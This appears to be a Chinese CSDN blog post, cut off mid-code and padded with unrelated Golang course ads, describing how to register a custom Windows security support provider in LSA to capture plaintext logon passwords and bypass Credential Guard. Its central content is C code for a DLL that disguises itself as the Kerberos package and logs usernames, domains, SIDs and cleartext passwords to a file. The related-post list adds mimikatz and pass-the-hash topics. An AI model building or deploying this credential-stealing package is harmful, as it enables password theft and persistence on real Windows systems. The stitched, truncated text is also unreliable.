2024年最新实战 绕过自定义SSP的凭证保护抓取密码_addsecuritypackage(1)，Golang工作资料

于 2024-05-15 13:55:34 发布
阅读量1k 收藏 16
点赞数 12
文章标签： go 学习 面试
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2401_84904408/article/details/138906253
版权

img
img

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化的资料的朋友，可以添加戳这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

SSP/AP 中部署的安全包与 LSA 完全集成。使用可用于自定义安全包的 LSA 支持函数，开发人员可以实现高级安全功能，例如令牌创建、 补充凭据支持和直通身份验证。

如果我们自定义安全支持提供程序/身份验证包（SSP/AP），并将其注册到系统，当用户重新进行交互式身份验证时，系统就会同通过我们自定义的 SSP/AP 传递明文凭据，这意味着我们可以提取到明文凭据并将其保存下来。这样便可以绕过 Credential Guard 的保护机制。

SSP/AP 安全包，为了同时执行身份验证包（AP）和安全支持提供程序（SSP），可以作为操作系统的一部分以及作为用户应用程序的一部分执行。这两种执行模式分别称为 LSA 模式和用户模式。这里我们需要的是 LSA 模式。

下面简单介绍一下关于 LSA 模式的初始化。

1.2 LSA 模式初始化

启动计算机系统后，本地安全机构（LSA）会自动将所有已注册的安全支持提供程序/身份验证包（SSP/AP）的 DLL 加载到其进程空间中，下图显示了初始化过程。

“Kerberos” 表示 Microsoft Kerberos SSP/AP，“My SSP/AP” 表示包含两个自定义安全包的自定义 SSP/AP。

启动时，LSA 调用每个 SSP/AP 中的 SpLsaModeInitialize() 函数，以获取指向 DLL 中每个安全包实现的函数的指针，函数指针以 SECPKG_FUNCTION_TABLE 结构数组的形式传递给 LSA。

收到一组 SECPKG_FUNCTION_TABLE 结构后，LSA 将调用每个安全包的 SpInitialize() 函数。LSA 使用此函数调用传递给每个安全包一个 LSA_SECPKG_FUNCTION_TABLE 结构，其中包含指向安全包调用的 LSA 函数的指针。除了存储指向 LSA 支持函数的指针外，自定义安全包还应使用 SpInitialize() 函数的实现来执行任何与初始化相关的处理。

在这里，我们的 SSP/AP 安全包需要实现下表中所示的几个函数。

| 由 SSP/AP 实现的函数 | 说明 |
| SpInitialize | 执行初始化处理，并提供一个函数指针列表。 |
| SpShutDown | 在卸载 SSP/AP 之前执行所需的任何清理。 |
| SpGetInfo | 提供有关安全包的一般信息，例如其名称、描述和功能。 |
| SpAcceptCredentials | 将为经过身份验证的安全主体存储的凭据传递给安全包。 |

1.3 由 SSP/AP 实现的函数

以下函数由我们自定义的安全支持提供程序/身份验证包（SSP/AP）实现，本地安全机构（LSA）通过使用 SSP/AP 的 SpLsaModeInitialize 函数提供的 SECPKG_FUNCTION_TABLE 结构来访问这些函数。

SpInitialize

SpInitialize 函数由本地安全机构（LSA）调用一次，用于执行任何与初始化相关的处理，并提供一个函数指针列表，其中包含安全包调用的 LSA 函数的指针。

函数声明如下：

NTSTATUS Spinitializefn(
  [in] ULONG_PTR PackageId,
  [in] PSECPKG_PARAMETERS Parameters,
  [in] PLSA_SECPKG_FUNCTION_TABLE FunctionTable
);

参数如下：

  • • [in] PackageId：LSA 分配给每个安全包的唯一标识符。该值在重新启动系统之前有效。
  • • [in] Parameters：指向包含主域和计算机状态信息的 SECPKG_PARAMETERS 结构的指针。
  • • [in] FunctionTable：指向可以安全包调用的 LSA 函数的指针列表。

SpShutDown

SpShutDown 函数在卸载安全支持提供程序/身份验证包 (SSP/AP) 之前，由本地安全机构（LSA）调用，用于在卸载 SSP/AP 之前执行所需的任何清理，以便释放资源。

函数声明如下：

NTSTATUS SpShutDown(void);

这个函数没有参数。

SpGetInfo

SpGetInfo 函数提供有关安全包的一般信息，例如其名称和功能描述。客户端调用安全支持提供程序接口（SSPI）的 QuerySecurityPackageInfo 函数时，将调用 SpGetInfo 函数。

函数声明如下：

NTSTATUS Spgetinfofn(
  [out] PSecPkgInfo PackageInfo
);

参数如下：

  • • [out] PackageInfo：指向由本地安全机构（LSA）分配的 SecPkgInfo 结构的指针，必须由包填充。

SpAcceptCredentials

SpAcceptCredentials 函数由本地安全机构（LSA）调用，以将为经过身份验证的安全主体存储的任何凭据传递给安全包。为 LSA 存储的每组凭据调用一次此函数。

函数声明如下：

NTSTATUS Spacceptcredentialsfn(
  [in] SECURITY_LOGON_TYPE LogonType,
  [in] PUNICODE_STRING AccountName,
  [in] PSECPKG_PRIMARY_CRED PrimaryCredentials,
  [in] PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials
);

参数如下：

  • • [in] LogonType：指示登录类型的 SECURITY_LOGON_TYPE 值。
  • • [in] AccountName：指向存储登录帐户名称的 UNICODE_STRING 结构的指针。
  • • [in] PrimaryCredentials：指向包含登录凭据的 SECPKG_PRIMARY_CRED 结构的指针。
  • • [in] SupplementalCredentials：指向包含特定于包的补充凭据的 ECPKG_SUPPLEMENTAL_CRED 结构的指针。

2. 编程实现

通过 C/C++ 创建一个名为 CustSSP 的 DLL 项目，实现自定义 SSP/AP 包。由于篇幅限制，笔者仅提供关键代码部分。

#include "pch.h"

static SECPKG_FUNCTION_TABLE SecPkgFunctionTable[] = {
    {
    NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
    _SpInitialize, _SpShutDown, _SpGetInfo, _SpAcceptCredentials,
    NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL, NULL, NULL, NULL
    }
};

NTSTATUS NTAPI _SpInitialize(ULONG_PTR PackageId, PSECPKG_PARAMETERS Parameters, PLSA_SECPKG_FUNCTION_TABLE FunctionTable)
{
    return STATUS_SUCCESS;
}

NTSTATUS NTAPI _SpShutDown(void)
{
    return STATUS_SUCCESS;
}

NTSTATUS NTAPI _SpGetInfo(PSecPkgInfoW PackageInfo)
{
    PackageInfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION;
    PackageInfo->wVersion = 1;
    PackageInfo->wRPCID = SECPKG_ID_NONE;
    PackageInfo->cbMaxToken = 0;
    PackageInfo->Name = (SEC_WCHAR*)L"Kerberos";
    PackageInfo->Comment = (SEC_WCHAR*)L"Microsoft Kerberos V5.0";
    return STATUS_SUCCESS;
}

NTSTATUS NTAPI _SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
    const wchar_t* LSA_LOGON_TYPE[] = {
        L"UndefinedLogonType",
        L"Unknown !",
        L"Interactive",
        L"Network",
        L"Batch",
        L"Service",
        L"Proxy",
        L"Unlock",
        L"NetworkCleartext",
        L"NewCredentials",
        L"RemoteInteractive",
        L"CachedInteractive",
        L"CachedRemoteInteractive",
        L"CachedUnlock",
    };

    FILE* logfile;

    if (_wfopen_s(&logfile, L"CustSSP.log", L"a") == 0)
    {
        SspLog(
            logfile,
            L">>>>=================================================================\n"
            L"[+] Authentication Id : %u:%u (%08x:%08x)\n"
            L"[+] Logon Type        : %s\n"
            L"[+] User Name         : %wZ\n"
            L"[+] Domain            : %wZ\n"
            L"[+] Logon Server      : %wZ\n"
            L"[+] SID               : %s\n"
            L"[+] SSP Credential    : \n"
            L"\t* UserName    : %wZ\n"
            L"\t* Domain      : %wZ\n"
            L"\t* Password    : ",
            PrimaryCredentials->LogonId.HighPart,
            PrimaryCredentials->LogonId.LowPart,
            PrimaryCredentials->LogonId.HighPart,
            PrimaryCredentials->LogonId.LowPart,
            LSA_LOGON_TYPE[LogonType],
            AccountName,
            &PrimaryCredentials->DomainName,
            &PrimaryCredentials->LogonServer,
            SidToString(PrimaryCredentials->UserSid),
            &PrimaryCredentials->DownlevelName,
            &PrimaryCredentials->DomainName
        );
        SspLogPassword(logfile, &PrimaryCredentials->Password);
        SspLog(logfile, L"\n");
        fclose(logfile);
    }
    return STATUS_SUCCESS;
}

NTSTATUS NTAPI _SpLsaModeInitialize(ULONG LsaVersion, PULONG PackageVersion, PSECPKG_FUNCTION_TABLE* ppTables, PULONG pcTables)
{
    *PackageVersion = SECPKG_INTERFACE_VERSION;
    *ppTables = SecPkgFunctionTable;


![img](https://img-blog.csdnimg.cn/img_convert/85106b7cec0f70121cdfcb8b3ac49180.png)
![img](https://img-blog.csdnimg.cn/img_convert/c9565fbc05c3224f7f525ffa16b4f330.png)
![img](https://img-blog.csdnimg.cn/img_convert/a7560f28abcee5834f3c37c4cc7d78b6.png)

**既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上Go语言开发知识点，真正体系化！**

**由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新**

**[如果你需要这些资料，可以戳这里获取](https://bbs.csdn.net/topics/618658159)**

-1715752513084)]
[外链图片转存中...(img-h0Bgx9TA-1715752513085)]

**既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上Go语言开发知识点，真正体系化！**

**由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新**

**[如果你需要这些资料，可以戳这里获取](https://bbs.csdn.net/topics/618658159)**
2401_84904408
关注
  • 12
    点赞
  • 踩
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
实战 | 绕过自定义SSP的凭证保护抓取密码
Javachichi的博客
03-08 382
自定义安全包 API 支持组合开发自定义安全支持提供程序（SSP），后者为客户端/服务器应用程序提供非交互身份验证服务和安全消息交换，以及开发自定义身份验证包，为执行交互式身份验证的应用程序提供服务。这些服务在单个包中合并时称为安全支持提供程序/身份验证包（SSP/AP）。SSP/AP 中部署的安全包与 LSA 完全集成。使用可用于自定义安全包的 LSA 支持函数，开发人员可以实现高级安全功能，例如令牌创建、 补充凭据支持和直通身份验证。
不重启操作系统启用Authentication Package的方法
ayang1986的专栏
10-24 695
调用 AddSecurityPackage API函数可以使 lsass.exe 进程加载指定的AP secur32.dll, sspicli.dll均导出该函数 #include <Sspi.h> SECURITY_PACKAGE_OPTIONS option; option.Size = sizeof(option); option.Flags = 0; option.Ty...
域内权限维持：注入SSP
01-29 551
01、简介 SSP(Security Support Provider)是Windows操作系统安全机制的提供者。简单地说，SSP是个DLL文件，主要用来实现Windows操作系统的身份认证功能。在系统启动时，SSP 将被加载到lsass.exe进程中，攻击者通过自定义恶意的DLL文件，在系统启动时将其加载到lsass.exe进程中，就能够获取lsass.exe进程中的明文密码。这样，即使用户更...
windows认证&密码抓取
qq_44657899的博客
07-15 6098
文章目录基础知识windows版本历史一、工作组部分密码存放在哪里？NTML Hashwindows本地认证windows网络认证NTML v1与v2二、域部分kerbero协议白银票据黄金票据windows密码导出lsass进程抓取mimikatz直接操作lsass进程procdump+mimikatzWindows Server 2016抓取明文密码sam文件（密文，需要破解，或者通过hash传递使用）用工具读取sam文件注册表导出sam文件使用mimipenguin获取linux明文登录密码windo
域渗透之哈希传递攻击及其原理
把自己活成一道光，因为你不知道，谁会借着你的光，走出了黑暗。请保持心中的善良，因为你不知道，谁会借着你的善良，走出了绝望。请保持你心中的信仰，因为你不知道，谁会借着你的信仰，走出了迷茫。请相信自己的力量，因为你不知道，谁会因为相信你，开始相信了自己....
12-09 1911
哈希传递攻击是基于NTLM认证的一种攻击方式。哈希传递攻击的利用前提是我们获得了某个用户的密码哈希值，但是解不开明文。这时我们可以利用NTLM认证的一种缺陷，利用用户的密码哈希值来进行NTLM认证。在域环境中，大量计算机在安装时会使用相同的本地管理员账号和密码。因此，如果计算机的本地管理员账号密码相同，攻击者就能使用哈希传递攻击登录内网中的其他机器。在学习哈希传递攻击之前我们先来了解一下其背后的Windows 底层协议和原理。
SSP_SINAMICS_DCM_V1_5.zip
07-20
6RA80的1.5固件版本
SSP.rar_DEMO_LPC2378 SSP_NXP SSP_SSP_lpc s
09-14
NXP LPC2378 SSP Demo
SSP.rar_ LPC2368 S_LPC2368 SSP_SSP_lpc2368 can example_lpc2368
09-14
這是LPC2368的SSP的範例黨~~~有需要的人可以使用看看~~~
SSP.rar_SSP_ssp s
09-24
SSP从机器实验！可以配置从机通信，朋友门可以参考一下...希望对大家有帮助！
SSP2MK_dongle_SSP_Dongledumper_SSP2MK_MultiKey_
10-01
Sentinel SuperPro Dumper/Solver for MultiKey v1.2
常见凭证获取方法
mogexiuluo的博客
07-06 1583
常用凭证的获取方法
域渗透｜域权限维持之SSP
weixin_42282189的博客
09-04 1003
域渗透｜域权限维持之SSP 作者：r0n1n 免责声明：本文仅供学习研究，严禁从事非法活动，任何后果由使用者本人负责。 0x00 测试环境 域控服务器：Win-2008DC—10.10.10.30 域：god.com 0x01 前言 SSP即Security Support Provider（安全支持提供者）是一个用于实现身份验证的DLL文件，主要用于Windows操作系统的身份认证功能。 当操作系统启动时SSP会被加载到lsass.exe进程中，由于lsass可通过注册表进行扩展，导致了在操作系统
loadlibrary函数的使用_Mimikatz中SSP的使用
weixin_39544101的博客
11-27 396
Mimikatz中SSP的使用Mimikatz中的mimilib(ssp)和misc::memssp同sekurlsa::wdigest的功能相同，都能够从lsass进程中提取凭据，通常可获得已登录用户的明文口令(Windows Server 2008 R2及更高版本的系统默认无法获得)，但实现原理不同，所以绕过高版本限制的方法也不同。我对XPN的第二篇文章进行了学习，对这个技术有了新...
内网渗透-域内的权限维持
lza20001103的博客
10-01 991
域内的权限维持 文章目录域内的权限维持前言PTTTGT（黄金票据）sspSkeleton KeySID History后记 前言 上期我们讲了windows和Linux中的权限维持，这期我们讲一下域内的权限维持，权限维持是后渗透必不可少的环节，大家一定要好好掌握啊。 PTT PTT（票据） window认证机制 http://note.youdao.com/noteshare?id=cb8c505af1c38b461be8e964e9825dca&sub=F271F9DD1A894C4188D1AE
探索Mimikatz神器之SSP
systemino的博客
07-10 1751
在本系列的第一部分中，我们开始深入研究 Mimikatz。这个想法很简单就是为了揭示 Mimikatz 是如何施展它的魔力的以及说明如何开发自定义的和特定的有效载荷。 如果你还没有机会去一探究竟，请先移步到本系列文0章的第一部分。 接下来，在这篇文章中，我们将回顾一下突破微软新增的防止凭证转储的安全控制(如 Credential Guard)的一种好方法并提取受害者提供的凭证。 当然，这也是 Mi...
基于rpc调用-动态加载ssp
rv0p111
10-08 3106
此篇文章结合学到的知识做个总结 微软有个api为AddSecurityPackage，可以添加ssp，这里就看下其的实现逻辑，这里从将从公开这个 API 的 secur32.dll 这个 DLL 文件开始，主要为本人进行了修改以及自己去复现的总结 在 Ghidra 打开这个 DLL 文件，这实际上只是一个调用 sspcli.dll 的包装器 我们这边主要是看sspicli.dll的实现逻辑是...
Mimikatz-内存中的SSP
weixin_45682070的博客
07-31 556
首先说一下SSP，安全支持提供程序（SSP）是Windows API，用于扩展Windows身份验证机制。LSASS进程正在Windows启动期间加载安全支持提供程序DLL。这种行为使红队的攻击者可以删除一个任意的SSP DLL以便与LSASS进程进行交互并记录该进程中存储的所有密码，或者直接用恶意的SSP对该进程进行修补而无需接触磁盘。 该技术需要管理员权限，可用于收集系统的凭证，这里用mimikatz介绍两种，一种是 注册SSP DLL ，二种是 加载到内存 注册SSP DLL Mimikatz压缩包中
绕过卡巴斯基dump进程lsass.exe内存
xiangshen1990的博客
03-15 6908
绕过卡巴斯基dump进程lsass.exe内存1：简介2：流程2.1：编译XPN大牛的代码2.2：实现dump内存代码2.3：自动获取lsass.exe进程的pid3：效果 1：简介 起因是前两天看到QAX-Ateam的一篇关于渗透的文章《这是一篇“不一样”的真实渗透测试案例分析文章》，里面提到了学习XPN大牛的方法，绕过卡巴斯基的防护机制成功dump进程lsass.exe的内存，再将其下载到本地...
ssp_sinamics_v4_8_hf1
最新发布
08-12
ssp_sinamics_v4_8_hf1是西门子公司的汽车行业解决方案中的一款软件产品。这是西门子汽车运动控制系统Sinamics的一个升级版本。这个版本包含一些新的功能和改进，以提高Sinamics系统的性能和稳定性。 ssp_sinamics_v4_8_hf1引入了一些新的特性，包括更好的故障诊断和报告功能。它可以更准确地识别和报告任何故障或异常情况，以便快速修复和恢复系统运行。这个新的版本还引入了更加灵活和智能的参数配置和管理功能，使用户可以根据实际需求对系统进行定制和优化。 此外，ssp_sinamics_v4_8_hf1还改进了系统的性能和可靠性。通过优化算法和增强控制逻辑，它可以更高效地控制和管理汽车运动系统，从而实现更快的响应速度和更高的稳定性。这对于汽车制造商和运营商来说是非常有价值的，因为它可以提高生产效率和产品质量。 总的来说，ssp_sinamics_v4_8_hf1是西门子汽车运动控制系统Sinamics的一个升级版本，带来了更好的故障诊断和报告功能、更灵活和智能的参数配置和管理功能，以及更高的性能和可靠性。这将有助于提高汽车制造和运营的效率和质量，使用户能够更好地管理和控制汽车运动系统。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值